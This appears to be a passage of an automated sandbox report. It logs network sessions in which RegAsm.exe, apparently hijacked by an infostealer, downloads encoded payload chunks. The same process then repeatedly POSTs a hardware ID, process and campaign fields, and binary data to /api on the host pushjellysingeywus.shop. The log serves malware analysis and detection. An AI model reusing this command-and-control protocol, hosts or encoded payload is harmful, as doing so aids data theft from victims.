2024-04-17 05:14:54 UTC	1369	IN	Data Raw: 79 50 33 4d 54 54 4d 50 38 45 34 73 4f 59 58 55 54 58 63 75 55 58 55 54 79 76 4d 72 69 6f 65 52 51 69 33 74 42 31 38 65 55 75 62 49 32 2b 6c 70 4a 78 71 55 6e 30 6a 37 64 74 52 4e 55 32 71 56 51 65 49 2f 4e 56 32 2b 45 2b 52 47 75 56 6e 32 47 65 67 47 59 68 7a 50 7a 54 32 6a 6e 6b 41 2f 65 4f 2b 6a 4d 47 6c 58 44 70 4f 6e 74 68 6f 78 2b 53 71 48 6b 55 49 74 79 56 64 4e 37 56 4c 6d 37 73 2b 63 54 58 50 2f 31 4c 79 63 4f 59 58 55 54 58 63 75 55 58 55 54 79 76 4e 70 4b 6f 56 44 34 69 33 74 41 75 33 4d 39 31 51 61 65 2b 6c 70 4a 78 71 55 75 78 77 62 63 79 43 74 56 6f 35 52 55 62 4a 75 4a 65 32 2b 55 34 58 6d 75 4f 6b 6e 36 59 67 47 6b 38 79 66 6e 61 32 6a 44 35 41 2f 32 46 39 44 77 4e 6e 44 57 67 55 56 4e 74 6a 6a 57 53 71 48 6b 55 49 74 37 51 4c 74 36 4b 64 Data Ascii: yP3MTTMP8E4sOYXUTXcuUXUTyvMrioeRQi3tB18eUubI2+lpJxqUn0j7dtRNU2qVQeI/NV2+E+RGuVn2GegGYhzPzT2jnkA/eO+jMGlXDpOnthox+SqHkUItyVdN7VLm7s+cTXP/1LycOYXUTXcuUXUTyvNpKoVD4i3tAu3M91Qae+lpJxqUuxwbcyCtVo5RUbJuJe2+U4XmuOkn6YgGk8yfna2jD5A/2F9DwNnDWgUVNtjjWSqHkUIt7QLt6Kd
2024-04-17 05:14:54 UTC	1369	IN	Data Raw: 5a 33 44 72 6f 42 66 2b 4c 2b 6a 6b 43 6d 6a 69 76 56 68 73 78 37 31 50 57 37 44 74 54 49 4e 4c 39 42 4e 7a 50 4c 6d 79 4e 76 70 61 53 63 2b 77 52 73 39 75 31 64 53 4b 62 4a 37 4e 65 55 52 62 69 55 39 37 74 4c 52 59 50 39 4e 41 75 33 4d 38 75 62 4e 43 79 75 37 68 78 71 55 75 78 77 62 55 73 61 66 31 79 35 52 64 52 59 61 4d 66 6b 71 6f 38 57 69 44 45 30 43 79 51 67 47 63 69 79 50 58 56 30 7a 50 68 42 2f 79 4a 2f 7a 30 47 6d 44 47 73 58 52 55 75 36 6c 4c 66 37 54 4e 56 62 4a 6d 66 62 39 37 44 41 30 61 4e 76 70 61 53 63 61 6c 4c 73 63 50 77 4c 55 62 4e 63 75 64 77 48 53 44 77 54 4a 4c 66 4f 46 68 75 6d 34 51 73 38 65 55 75 62 49 32 2b 6c 70 49 73 70 57 61 62 77 62 56 33 52 4e 64 79 76 6a 70 37 59 61 4d 66 6b 71 68 35 46 43 4c 63 6c 57 44 65 31 53 35 75 78 66 Data Ascii: Z3DroBf+L+jkCmjivVhsx71PW7DtTINL9BNzPLmyNvpaSc+wRs9u1dSKbJ7NeURbiU97tLRYP9NAu3M8ubNCyu7hxqUuxwbUsaf1y5RdRYaMfkqo8WiDE0CyQgGciyPXV0zPhB/yJ/z0GmDGsXRUu6lLf7TNVbJmfb97DA0aNvpaScalLscPwLUbNcudwHSDwTJLfOFhum4Qs8eUubI2+lpIspWabwbV3RNdyvjp7YaMfkqh5FCLclWDe1S5uxf
2024-04-17 05:14:54 UTC	666	IN	Data Raw: 71 55 75 78 77 62 56 31 41 59 31 77 2f 78 64 54 46 66 46 51 33 4d 51 77 57 6d 6e 63 2f 51 54 63 7a 79 35 73 6a 62 37 4c 6e 6c 79 44 53 37 48 42 74 58 64 45 6a 46 2f 50 46 31 46 68 6f 78 2b 53 71 48 6b 57 5a 35 44 53 4e 4e 7a 4e 61 43 4c 48 39 74 76 5a 4f 65 45 47 2b 6f 50 2f 50 41 2b 57 4d 4b 74 54 45 69 2f 74 55 4e 58 70 50 6c 74 6c 6e 4a 35 72 6d 59 77 73 59 4b 43 55 6c 70 4a 78 71 55 75 78 77 62 56 31 41 59 31 77 2f 78 64 54 45 2b 78 52 32 2b 5a 35 59 32 4f 53 6e 47 75 49 7a 51 4e 47 6a 62 36 57 6b 6e 47 70 46 72 33 73 6e 33 64 45 31 33 4c 6c 46 77 70 4d 69 52 2b 53 71 48 6b 55 49 74 37 51 4c 4a 6d 42 4c 48 61 4e 76 4e 76 52 50 75 45 43 2f 59 2f 32 4e 51 4b 57 4f 71 64 61 46 69 58 70 56 4e 44 34 50 46 6c 68 6e 5a 6c 6e 6b 34 4e 70 4c 38 72 37 6c 4a 35 Data Ascii: qUuxwbV1AY1w/xdTFfFQ3MQwWmnc/QTczy5sjb7LnlyDS7HBtXdEjF/PF1Fhox+SqHkWZ5DSNNzNaCLH9tvZOeEG+oP/PA+WMKtTEi/tUNXpPltlnJ5rmYwsYKCUlpJxqUuxwbV1AY1w/xdTE+xR2+Z5Y2OSnGuIzQNGjb6WknGpFr3sn3dE13LlFwpMiR+SqHkUIt7QLJmBLHaNvNvRPuEC/Y/2NQKWOqdaFiXpVND4PFlhnZlnk4NpL8r7lJ5
2024-04-17 05:14:54 UTC	1369	IN	Data Raw: 33 66 37 34 0d 0a 46 43 43 77 6d 57 69 49 6c 69 78 42 70 37 36 57 6b 6e 47 70 53 2b 7a 4e 6d 46 31 45 31 33 4c 6c 46 31 45 36 6a 6a 57 53 71 48 6b 55 49 74 37 51 4c 74 36 4b 59 47 36 58 76 70 54 54 4e 2b 73 49 38 34 76 6c 4e 52 53 52 4d 36 46 62 47 69 7a 72 55 74 48 6b 4d 56 39 6e 6d 35 39 71 6b 59 35 6a 4c 38 76 79 31 5a 42 39 68 47 47 78 77 62 56 33 52 4e 64 79 35 52 55 55 4f 36 45 46 6b 71 6f 55 56 58 61 57 30 67 50 32 7a 79 35 73 6a 62 36 57 7a 33 32 45 59 62 48 42 74 58 64 45 31 79 6e 49 50 56 46 68 6f 78 2b 53 71 48 6b 55 49 4a 75 65 4c 4d 62 50 4c 43 54 44 2b 4e 66 63 4f 75 63 45 38 6f 66 77 4f 41 4b 56 4e 71 46 51 45 69 6a 70 55 64 2f 67 4e 31 4a 73 6c 5a 52 67 6e 59 35 71 62 6f 47 54 76 4a 4a 78 71 55 75 78 77 62 56 33 52 70 49 6f 35 77 31 52 59 Data Ascii: 3f74FCCwmWiIlixBp76WknGpS+zNmF1E13LlF1E6jjWSqHkUIt7QLt6KYG6XvpTTN+sI84vlNRSRM6FbGizrUtHkMV9nm59qkY5jL8vy1ZB9hGGxwbV3RNdy5RUUO6EFkqoUVXaW0gP2zy5sjb6Wz32EYbHBtXdE1ynIPVFhox+SqHkUIJueLMbPLCTD+NfcOucE8ofwOAKVNqFQEijpUd/gN1JslZRgnY5qboGTvJJxqUuxwbV3RpIo5w1RY
2024-04-17 05:14:54 UTC	1369	IN	Data Raw: 72 50 31 70 71 6d 70 46 76 6b 59 4a 6a 4a 6f 2b 79 75 37 68 78 71 55 75 78 77 62 56 33 52 4e 55 33 76 78 56 4c 59 61 46 34 78 2b 45 31 55 43 44 7a 2b 69 37 63 7a 79 35 73 6a 65 4f 61 76 31 75 70 53 37 48 42 74 58 63 66 2b 6c 6a 6c 46 31 46 68 6f 78 2b 53 71 48 74 52 62 4e 7a 4b 4c 74 36 42 5a 53 6a 4a 2b 64 6a 52 4e 65 4d 4d 2b 34 66 32 4d 77 43 57 50 36 4e 51 45 69 7a 6c 55 64 37 67 4f 6c 64 73 6c 35 31 6e 6d 38 30 69 51 61 65 2b 6c 70 4a 78 71 55 75 78 77 62 63 79 48 74 56 6f 35 52 55 69 49 50 64 4b 77 4f 5a 37 4f 51 6a 65 30 43 37 63 7a 79 34 78 67 5a 4f 38 6b 6e 47 70 53 37 48 42 37 6c 70 75 31 33 4c 6c 46 31 46 68 6f 78 2b 51 37 54 63 57 4f 4e 37 53 62 59 79 48 5a 69 44 4b 38 39 48 54 50 4f 77 45 39 59 2f 39 50 41 36 54 50 36 35 48 45 43 2f 76 57 74 Data Ascii: rP1pqmpFvkYJjJo+yu7hxqUuxwbV3RNU3vxVLYaF4x+E1UCDz+i7czy5sjeOav1upS7HBtXcf+ljlF1Fhox+SqHtRbNzKLt6BZSjJ+djRNeMM+4f2MwCWP6NQEizlUd7gOldsl51nm80iQae+lpJxqUuxwbcyHtVo5RUiIPdKwOZ7OQje0C7czy4xgZO8knGpS7HB7lpu13LlF1Fhox+Q7TcWON7SbYyHZiDK89HTPOwE9Y/9PA6TP65HEC/vWt
2024-04-17 05:14:54 UTC	1369	IN	Data Raw: 44 2f 54 51 4c 74 7a 50 4c 6d 79 4e 76 70 54 58 4b 36 74 52 73 63 50 51 4c 77 75 54 4a 37 5a 67 46 43 4f 77 48 62 2b 43 65 52 51 69 33 74 41 75 67 63 4d 48 51 61 65 58 6c 70 49 71 68 47 47 78 77 62 56 33 52 4e 64 79 35 52 55 55 4c 36 45 46 6b 71 6f 2f 58 47 43 52 6d 47 65 52 6a 6d 73 67 7a 2f 48 65 77 6a 76 72 43 66 32 46 39 6a 6b 44 6c 44 79 6b 52 78 38 6c 37 46 76 59 2b 48 73 59 44 2f 54 51 4c 74 7a 50 4c 6d 79 4e 76 70 54 58 4b 36 74 52 73 63 50 58 50 67 71 57 50 4b 5a 53 4a 69 44 76 55 39 66 38 65 7a 6b 49 33 74 41 75 33 4d 38 75 4d 59 47 58 75 37 68 59 71 55 76 71 37 4a 39 33 52 4e 64 79 35 52 64 52 59 61 46 61 33 4b 70 6a 46 43 43 52 6e 6d 61 54 69 47 67 6d 79 50 2f 56 33 44 66 6d 42 50 65 4b 38 7a 41 55 68 7a 61 70 56 52 77 74 37 6c 48 43 35 44 35 Data Ascii: D/TQLtzPLmyNvpTXK6tRscPQLwuTJ7ZgFCOwHb+CeRQi3tAugcMHQaeXlpIqhGGxwbV3RNdy5RUUL6EFkqo/XGCRmGeRjmsgz/HewjvrCf2F9jkDlDykRx8l7FvY+HsYD/TQLtzPLmyNvpTXK6tRscPXPgqWPKZSJiDvU9f8ezkI3tAu3M8uMYGXu7hYqUvq7J93RNdy5RdRYaFa3KpjFCCRnmaTiGgmyP/V3DfmBPeK8zAUhzapVRwt7lHC5D5
2024-04-17 05:14:54 UTC	1369	IN	Data Raw: 6d 4f 64 67 6d 38 74 7a 76 62 47 77 6a 2f 69 41 66 61 50 2f 44 73 41 68 7a 61 6f 58 42 41 67 36 46 72 59 35 6a 46 56 5a 39 7a 63 41 2f 62 50 4c 6d 79 4e 76 70 61 53 63 61 73 4f 36 38 4f 76 64 30 61 32 4a 37 64 59 55 30 79 4a 48 35 4b 6f 65 52 51 69 67 39 77 44 39 73 38 75 62 49 32 2b 6c 73 6c 63 67 30 75 78 77 62 56 33 52 4e 64 79 35 31 49 66 59 37 6b 66 6b 4f 49 32 58 6d 71 59 6c 57 47 5a 69 32 55 38 78 76 6e 61 30 44 66 67 42 76 57 48 39 44 55 55 6b 7a 53 76 56 68 34 75 37 31 37 55 71 6e 55 35 43 4e 37 51 4c 74 7a 50 4c 6d 79 4e 76 4e 50 49 63 37 4e 4c 73 37 48 36 4f 78 32 61 4e 37 5a 66 55 30 79 4a 48 35 4b 6f 65 52 51 69 67 39 77 44 39 73 38 75 62 49 32 2b 6c 73 6c 63 67 30 75 78 77 62 56 33 52 4e 64 79 35 31 49 66 59 37 6b 66 6b 4f 34 31 52 47 75 64 Data Ascii: mOdgm8tzvbGwj/iAfaP/DsAhzaoXBAg6FrY5jFVZ9zcA/bPLmyNvpaScasO68Ovd0a2J7dYU0yJH5KoeRQig9wD9s8ubI2+lslcg0uxwbV3RNdy51IfY7kfkOI2XmqYlWGZi2U8xvna0DfgBvWH9DUUkzSvVh4u717UqnU5CN7QLtzPLmyNvNPIc7NLs7H6Ox2aN7ZfU0yJH5KoeRQig9wD9s8ubI2+lslcg0uxwbV3RNdy51IfY7kfkO41RGud
2024-04-17 05:14:54 UTC	1369	IN	Data Raw: 51 44 52 6f 32 2b 6c 70 4a 78 71 55 75 78 77 2f 41 35 52 73 31 79 35 31 55 53 4c 76 4e 59 30 65 41 78 57 32 69 54 6c 32 6d 52 69 57 67 6c 77 65 37 61 33 7a 50 74 41 76 4b 47 39 44 34 4d 6d 7a 6d 31 46 56 31 4d 69 52 2b 53 71 48 6b 55 49 74 37 51 4c 4a 6d 56 4c 48 61 4e 76 50 37 4c 4d 75 59 46 73 61 33 38 49 77 48 58 45 61 6c 65 46 43 2f 33 48 62 2b 43 65 52 51 69 33 74 41 75 67 63 4d 44 52 6f 32 2b 6c 70 4a 78 71 52 43 63 36 37 56 33 52 4e 64 79 35 52 64 52 59 2b 5a 52 6b 4c 4a 35 46 6d 6d 53 6e 6d 2b 5a 68 57 51 72 7a 2f 66 55 33 7a 6e 6c 44 75 47 4a 2b 7a 38 55 6d 6a 4f 71 55 52 34 70 35 46 54 43 37 7a 4a 51 49 4e 4c 39 42 4e 7a 50 4c 6d 79 4e 76 70 61 53 63 2b 77 52 73 39 75 31 64 54 36 65 50 70 56 57 43 47 4f 4f 4e 5a 4b 6f 65 52 51 69 33 6f 30 69 38 Data Ascii: QDRo2+lpJxqUuxw/A5Rs1y51USLvNY0eAxW2iTl2mRiWglwe7a3zPtAvKG9D4Mmzm1FV1MiR+SqHkUIt7QLJmVLHaNvP7LMuYFsa38IwHXEaleFC/3Hb+CeRQi3tAugcMDRo2+lpJxqRCc67V3RNdy5RdRY+ZRkLJ5FmmSnm+ZhWQrz/fU3znlDuGJ+z8UmjOqUR4p5FTC7zJQINL9BNzPLmyNvpaSc+wRs9u1dT6ePpVWCGOONZKoeRQi3o0i8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49701	172.67.217.241	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 05:14:55 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12871 Host: pushjellysingeywus.shop
2024-04-17 05:14:55 UTC	12871	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 34 43 30 30 35 31 38 42 39 44 30 32 39 38 42 43 37 35 46 38 34 38 41 46 34 33 30 42 33 34 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 70 47 6c 4d 4d 6e 2d 2d 72 6f 63 6b 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"04C00518B9D0298BC75F848AF430B345--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"pGlMMn--rocke
2024-04-17 05:14:55 UTC	818	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 05:14:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=effadrmmkiaqmafnh6ols10tdq; expires=Sat, 10-Aug-2024 23:01:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BhUrF4LNd1lLoRKPzNDzV2gAp8M3E1b7bk2OtfY4zSp3vPKMcjF8W5YipcsfzFXu%2BKG1owQQ%2FfLDlaWEziNn2iETkMkp%2BMYUtiteOptLu3aLAdf2pQBr1tCkDtJIE%2FDoYIawq%2BQCDGRB6A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8759ef2e9868451f-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 05:14:55 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-17 05:14:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49702	172.67.217.241	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 05:14:55 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15117 Host: pushjellysingeywus.shop
2024-04-17 05:14:55 UTC	15117	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 34 43 30 30 35 31 38 42 39 44 30 32 39 38 42 43 37 35 46 38 34 38 41 46 34 33 30 42 33 34 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 70 47 6c 4d 4d 6e 2d 2d 72 6f 63 6b 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"04C00518B9D0298BC75F848AF430B345--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"pGlMMn--rocke
2024-04-17 05:14:56 UTC	824	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 05:14:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fiuo9ehub85lkdn929bnr7vkc1; expires=Sat, 10-Aug-2024 23:01:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jsU3kiYSw%2FzroqdZcp6zJh22h4QvJNsxAtW%2FKNBd%2BasiW10jEhdmAQ60Y2bGw7LBXSH3j4GYJQCXN%2Fl1E36yDcTTxKeRAGa4sp6vKRSvwCb81B%2FbC7Wm8i0FO2XGyeE%2FFa4%2F%2BEc%2BLXQzYQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8759ef3368590d06-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 05:14:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-17 05:14:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49703	172.67.217.241	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 05:14:56 UTC	289	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19975 Host: pushjellysingeywus.shop
2024-04-17 05:14:56 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 34 43 30 30 35 31 38 42 39 44 30 32 39 38 42 43 37 35 46 38 34 38 41 46 34 33 30 42 33 34 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 70 47 6c 4d 4d 6e 2d 2d 72 6f 63 6b 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"04C00518B9D0298BC75F848AF430B345--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"pGlMMn--rocke
2024-04-17 05:14:56 UTC	4644	OUT	Data Raw: 66 a5 31 16 55 bb 32 f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 Data Ascii: f1U2+?2+?2+?o?Mp5
2024-04-17 05:14:57 UTC	816	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 05:14:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4iv2j4soofmrgqg18gdsb0ik6b; expires=Sat, 10-Aug-2024 23:01:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wKGhNQx1pnxZCGHbLXKc1yUTpzAgaBLrrq2HY9INojGVOHZSNxye7huVb%2FecIxf3Y0n4VFXbT%2BhYPCE4RC0okWG7xaoTewI%2FSo6i4QwEYvWWdxFZqiy%2ByXEZGFWCqu7Ni1WDUFaI5g%2Bzag%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8759ef377812b0b1-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 05:14:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-17 05:14:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49704	172.67.217.241	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 05:14:57 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5454 Host: pushjellysingeywus.shop
2024-04-17 05:14:57 UTC	5454	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 34 43 30 30 35 31 38 42 39 44 30 32 39 38 42 43 37 35 46 38 34 38 41 46 34 33 30 42 33 34 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 70 47 6c 4d 4d 6e 2d 2d 72 6f 63 6b 65 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"04C00518B9D0298BC75F848AF430B345--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"pGlMMn--rocke
2024-04-17 05:14:57 UTC	810	IN	HTTP/1.1 200 OK Date: Wed, 17 Apr 2024 05:14:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mfi4sam936jakl036musikfdb5; expires=Sat, 10-Aug-2024 23:01:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U863yEGcxN7ELMAEW8mPdLNUm9iO727a3sIVFn4Fy6KuAkzptahIudDS04SfX5iGUupbmiXJHPaCkeOKzyDyodONVa%2B123t4r5KgHo%2BQZ8mx3bsurdrrXHgdXurIw8oZZbWijYB1trZlzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8759ef3ccaaf1d80-ATL alt-svc: h3=":443"; ma=86400
2024-04-17 05:14:57 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-17 05:14:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49705	172.67.217.241	443	2724	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-17 05:14:58 UTC	288	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1367 Host: pushjellysingeywus.shop
